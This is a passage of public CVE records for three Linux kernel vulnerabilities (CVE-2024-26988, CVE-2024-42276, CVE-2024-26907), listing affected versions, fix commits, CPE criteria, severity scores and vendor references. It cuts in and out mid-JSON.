                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:01.445Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "init/main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2ef607ea103616aec0289f1b65d103d499fa903a",
              "status": "affected",
              "version": "f5c7310ac73ea270e3a1acdb73d1b4817f11fd67",
              "versionType": "git"
            },
            {
              "lessThan": "0dc727a4e05400205358a22c3d01ccad2c8e1fe4",
              "status": "affected",
              "version": "f5c7310ac73ea270e3a1acdb73d1b4817f11fd67",
              "versionType": "git"
            },
            {
              "lessThan": "76c2f4d426a5358fced5d5990744d46f10a4ccea",
              "status": "affected",
              "version": "f5c7310ac73ea270e3a1acdb73d1b4817f11fd67",
              "versionType": "git"
            },
            {
              "lessThan": "81cf85ae4f2dd5fa3e43021782aa72c4c85558e8",
              "status": "affected",
              "version": "f5c7310ac73ea270e3a1acdb73d1b4817f11fd67",
              "versionType": "git"
            },
            {
              "lessThan": "936a02b5a9630c5beb0353c3085cc49d86c57034",
              "status": "affected",
              "version": "f5c7310ac73ea270e3a1acdb73d1b4817f11fd67",
              "versionType": "git"
            },
            {
              "lessThan": "46dad3c1e57897ab9228332f03e1c14798d2d3b9",
              "status": "affected",
              "version": "f5c7310ac73ea270e3a1acdb73d1b4817f11fd67",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "init/main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.1"
            },
            {
              "lessThan": "5.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.157",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.88",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.29",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.157",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.88",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.29",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.8",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ninit/main.c: Fix potential static_command_line memory overflow\n\nWe allocate memory of size \u0027xlen + strlen(boot_command_line) + 1\u0027 for\nstatic_command_line, but the strings copied into static_command_line are\nextra_command_line and command_line, rather than extra_command_line and\nboot_command_line.\n\nWhen strlen(command_line) \u003e strlen(boot_command_line), static_command_line\nwill overflow.\n\nThis patch just recovers strlen(command_line) which was miss-consolidated\nwith strlen(boot_command_line) in the commit f5c7310ac73e (\"init/main: add\nchecks for the return value of memblock_alloc*()\")"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:08:14.343Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2ef607ea103616aec0289f1b65d103d499fa903a"
        },
        {
          "url": "https://git.kernel.org/stable/c/0dc727a4e05400205358a22c3d01ccad2c8e1fe4"
        },
        {
          "url": "https://git.kernel.org/stable/c/76c2f4d426a5358fced5d5990744d46f10a4ccea"
        },
        {
          "url": "https://git.kernel.org/stable/c/81cf85ae4f2dd5fa3e43021782aa72c4c85558e8"
        },
        {
          "url": "https://git.kernel.org/stable/c/936a02b5a9630c5beb0353c3085cc49d86c57034"
        },
        {
          "url": "https://git.kernel.org/stable/c/46dad3c1e57897ab9228332f03e1c14798d2d3b9"
        }
      ],
      "title": "init/main.c: Fix potential static_command_line memory overflow",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26988",
    "datePublished": "2024-05-01T05:27:39.190Z",
    "dateReserved": "2024-02-19T14:20:24.205Z",
    "dateUpdated": "2026-05-12T11:51:01.445Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42276 (GCVE-0-2024-42276)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:08 – Updated: 2026-05-12 11:56

Title

nvme-pci: add missing condition check for existence of mapped data

Summary

In the Linux kernel, the following vulnerability has been resolved: nvme-pci: add missing condition check for existence of mapped data nvme_map_data() is called when request has physical segments, hence the nvme_unmap_data() should have same condition to avoid dereference.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/3f8ec1d6b0ebd8268…
https://git.kernel.org/stable/c/be23ae63080e0bf9e…
https://git.kernel.org/stable/c/7cc1f4cd90a00b619…
https://git.kernel.org/stable/c/d135c3352f7c947a9…
https://git.kernel.org/stable/c/77848b379e9f85a08…
https://git.kernel.org/stable/c/70100fe721840bf6d…
https://git.kernel.org/stable/c/c31fad1470389666a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4aedb705437f6f98b45f45c394e6803ca67abd33 , < 3f8ec1d6b0ebd8268307d52be8301973fa5a01ec (git) Affected: 4aedb705437f6f98b45f45c394e6803ca67abd33 , < be23ae63080e0bf9e246ab20207200bca6585eba (git) Affected: 4aedb705437f6f98b45f45c394e6803ca67abd33 , < 7cc1f4cd90a00b6191cb8cda2d1302fdce59361c (git) Affected: 4aedb705437f6f98b45f45c394e6803ca67abd33 , < d135c3352f7c947a922da93c8e763ee6bc208b64 (git) Affected: 4aedb705437f6f98b45f45c394e6803ca67abd33 , < 77848b379e9f85a08048a2c8b3b4a7e8396f5f83 (git) Affected: 4aedb705437f6f98b45f45c394e6803ca67abd33 , < 70100fe721840bf6d8e5abd25b8bffe4d2e049b7 (git) Affected: 4aedb705437f6f98b45f45c394e6803ca67abd33 , < c31fad1470389666ac7169fe43aa65bf5b7e2cfd (git)
Linux	Linux	Affected: 5.2 Unaffected: 0 , < 5.2 (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42276",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:11:52.374763Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:31.619Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:03:15.961Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:44.403Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/nvme/host/pci.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3f8ec1d6b0ebd8268307d52be8301973fa5a01ec",
              "status": "affected",
              "version": "4aedb705437f6f98b45f45c394e6803ca67abd33",
              "versionType": "git"
            },
            {
              "lessThan": "be23ae63080e0bf9e246ab20207200bca6585eba",
              "status": "affected",
              "version": "4aedb705437f6f98b45f45c394e6803ca67abd33",
              "versionType": "git"
            },
            {
              "lessThan": "7cc1f4cd90a00b6191cb8cda2d1302fdce59361c",
              "status": "affected",
              "version": "4aedb705437f6f98b45f45c394e6803ca67abd33",
              "versionType": "git"
            },
            {
              "lessThan": "d135c3352f7c947a922da93c8e763ee6bc208b64",
              "status": "affected",
              "version": "4aedb705437f6f98b45f45c394e6803ca67abd33",
              "versionType": "git"
            },
            {
              "lessThan": "77848b379e9f85a08048a2c8b3b4a7e8396f5f83",
              "status": "affected",
              "version": "4aedb705437f6f98b45f45c394e6803ca67abd33",
              "versionType": "git"
            },
            {
              "lessThan": "70100fe721840bf6d8e5abd25b8bffe4d2e049b7",
              "status": "affected",
              "version": "4aedb705437f6f98b45f45c394e6803ca67abd33",
              "versionType": "git"
            },
            {
              "lessThan": "c31fad1470389666ac7169fe43aa65bf5b7e2cfd",
              "status": "affected",
              "version": "4aedb705437f6f98b45f45c394e6803ca67abd33",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/nvme/host/pci.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.2"
            },
            {
              "lessThan": "5.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-pci: add missing condition check for existence of mapped data\n\nnvme_map_data() is called when request has physical segments, hence\nthe nvme_unmap_data() should have same condition to avoid dereference."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:29:13.191Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3f8ec1d6b0ebd8268307d52be8301973fa5a01ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/be23ae63080e0bf9e246ab20207200bca6585eba"
        },
        {
          "url": "https://git.kernel.org/stable/c/7cc1f4cd90a00b6191cb8cda2d1302fdce59361c"
        },
        {
          "url": "https://git.kernel.org/stable/c/d135c3352f7c947a922da93c8e763ee6bc208b64"
        },
        {
          "url": "https://git.kernel.org/stable/c/77848b379e9f85a08048a2c8b3b4a7e8396f5f83"
        },
        {
          "url": "https://git.kernel.org/stable/c/70100fe721840bf6d8e5abd25b8bffe4d2e049b7"
        },
        {
          "url": "https://git.kernel.org/stable/c/c31fad1470389666ac7169fe43aa65bf5b7e2cfd"
        }
      ],
      "title": "nvme-pci: add missing condition check for existence of mapped data",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42276",
    "datePublished": "2024-08-17T09:08:44.694Z",
    "dateReserved": "2024-07-30T07:40:12.261Z",
    "dateUpdated": "2026-05-12T11:56:44.403Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26907 (GCVE-0-2024-26907)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

RDMA/mlx5: Fix fortify source warning while accessing Eth segment

Summary

In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Fix fortify source warning while accessing Eth segment ------------[ cut here ]------------ memcpy: detected field-spanning write (size 56) of single field "eseg->inline_hdr.start" at /var/lib/dkms/mlnx-ofed-kernel/5.8/build/drivers/infiniband/hw/mlx5/wr.c:131 (size 2) WARNING: CPU: 0 PID: 293779 at /var/lib/dkms/mlnx-ofed-kernel/5.8/build/drivers/infiniband/hw/mlx5/wr.c:131 mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib] Modules linked in: 8021q garp mrp stp llc rdma_ucm(OE) rdma_cm(OE) iw_cm(OE) ib_ipoib(OE) ib_cm(OE) ib_umad(OE) mlx5_ib(OE) ib_uverbs(OE) ib_core(OE) mlx5_core(OE) pci_hyperv_intf mlxdevm(OE) mlx_compat(OE) tls mlxfw(OE) psample nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 ip_set nf_tables libcrc32c nfnetlink mst_pciconf(OE) knem(OE) vfio_pci vfio_pci_core vfio_iommu_type1 vfio iommufd irqbypass cuse nfsv3 nfs fscache netfs xfrm_user xfrm_algo ipmi_devintf ipmi_msghandler binfmt_misc crct10dif_pclmul crc32_pclmul polyval_clmulni polyval_generic ghash_clmulni_intel sha512_ssse3 snd_pcsp aesni_intel crypto_simd cryptd snd_pcm snd_timer joydev snd soundcore input_leds serio_raw evbug nfsd auth_rpcgss nfs_acl lockd grace sch_fq_codel sunrpc drm efi_pstore ip_tables x_tables autofs4 psmouse virtio_net net_failover failover floppy [last unloaded: mlx_compat(OE)] CPU: 0 PID: 293779 Comm: ssh Tainted: G OE 6.2.0-32-generic #32~22.04.1-Ubuntu Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2011 RIP: 0010:mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib] Code: 0c 01 00 a8 01 75 25 48 8b 75 a0 b9 02 00 00 00 48 c7 c2 10 5b fd c0 48 c7 c7 80 5b fd c0 c6 05 57 0c 03 00 01 e8 95 4d 93 da <0f> 0b 44 8b 4d b0 4c 8b 45 c8 48 8b 4d c0 e9 49 fb ff ff 41 0f b7 RSP: 0018:ffffb5b48478b570 EFLAGS: 00010046 RAX: 0000000000000000 RBX: 0000000000000001 RCX: 0000000000000000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffb5b48478b628 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: ffffb5b48478b5e8 R13: ffff963a3c609b5e R14: ffff9639c3fbd800 R15: ffffb5b480475a80 FS: 00007fc03b444c80(0000) GS:ffff963a3dc00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000556f46bdf000 CR3: 0000000006ac6003 CR4: 00000000003706f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> ? show_regs+0x72/0x90 ? mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib] ? __warn+0x8d/0x160 ? mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib] ? report_bug+0x1bb/0x1d0 ? handle_bug+0x46/0x90 ? exc_invalid_op+0x19/0x80 ? asm_exc_invalid_op+0x1b/0x20 ? mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib] mlx5_ib_post_send_nodrain+0xb/0x20 [mlx5_ib] ipoib_send+0x2ec/0x770 [ib_ipoib] ipoib_start_xmit+0x5a0/0x770 [ib_ipoib] dev_hard_start_xmit+0x8e/0x1e0 ? validate_xmit_skb_list+0x4d/0x80 sch_direct_xmit+0x116/0x3a0 __dev_xmit_skb+0x1fd/0x580 __dev_queue_xmit+0x284/0x6b0 ? _raw_spin_unlock_irq+0xe/0x50 ? __flush_work.isra.0+0x20d/0x370 ? push_pseudo_header+0x17/0x40 [ib_ipoib] neigh_connected_output+0xcd/0x110 ip_finish_output2+0x179/0x480 ? __smp_call_single_queue+0x61/0xa0 __ip_finish_output+0xc3/0x190 ip_finish_output+0x2e/0xf0 ip_output+0x78/0x110 ? __pfx_ip_finish_output+0x10/0x10 ip_local_out+0x64/0x70 __ip_queue_xmit+0x18a/0x460 ip_queue_xmit+0x15/0x30 __tcp_transmit_skb+0x914/0x9c0 tcp_write_xmit+0x334/0x8d0 tcp_push_one+0x3c/0x60 tcp_sendmsg_locked+0x2e1/0xac0 tcp_sendmsg+0x2d/0x50 inet_sendmsg+0x43/0x90 sock_sendmsg+0x68/0x80 sock_write_iter+0x93/0x100 vfs_write+0x326/0x3c0 ksys_write+0xbd/0xf0 ? do_syscall_64+0x69/0x90 __x64_sys_write+0x19/0x30 do_syscall_ ---truncated---

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/d27c48dc309da72c3…
https://git.kernel.org/stable/c/60ba938a8bc8c90e7…
https://git.kernel.org/stable/c/cad82f1671e41094a…
https://git.kernel.org/stable/c/9a624a5f95733bac4…
https://git.kernel.org/stable/c/185fa07000e0a81d5…
https://git.kernel.org/stable/c/4d5e86a56615cc387…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 34f4c9554d8b2a7d2deb9503e9373b598ee3279f , < d27c48dc309da72c3b46351a1205d89687272baa (git) Affected: 34f4c9554d8b2a7d2deb9503e9373b598ee3279f , < 60ba938a8bc8c90e724c75f98e932f9fb7ae1b9d (git) Affected: 34f4c9554d8b2a7d2deb9503e9373b598ee3279f , < cad82f1671e41094acd3b9a60cd27d67a3c64a21 (git) Affected: 34f4c9554d8b2a7d2deb9503e9373b598ee3279f , < 9a624a5f95733bac4648ecadb320ca83aa9c08fd (git) Affected: 34f4c9554d8b2a7d2deb9503e9373b598ee3279f , < 185fa07000e0a81d54cf8c05414cebff14469a5c (git) Affected: 34f4c9554d8b2a7d2deb9503e9373b598ee3279f , < 4d5e86a56615cc387d21c629f9af8fb0e958d350 (git)
Linux	Linux	Affected: 5.0 Unaffected: 0 , < 5.0 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.937Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d27c48dc309da72c3b46351a1205d89687272baa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/60ba938a8bc8c90e724c75f98e932f9fb7ae1b9d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cad82f1671e41094acd3b9a60cd27d67a3c64a21"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9a624a5f95733bac4648ecadb320ca83aa9c08fd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/185fa07000e0a81d54cf8c05414cebff14469a5c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4d5e86a56615cc387d21c629f9af8fb0e958d350"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "d27c48dc309d",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.11",
                "status": "unaffected",
                "version": "5.10.214",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.2",
                "status": "unaffected",
                "version": "6.183",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.7",
                "status": "unaffected",
                "version": "6.623",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.8",
                "status": "unaffected",
                "version": "6.711",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "*",
                "status": "unaffected",
                "version": "6.8",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.16",
                "status": "unaffected",
                "version": "5.15.153",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "60ba938a8bc8",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "cad82f1671e4",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "9a624a5f9573",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "185fa07000e0",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "4d5e86a56615",
                "status": "affected",
                "version": "1da177e4c3f4",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26907",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-06T16:55:44.551098Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-06T16:55:51.074Z",
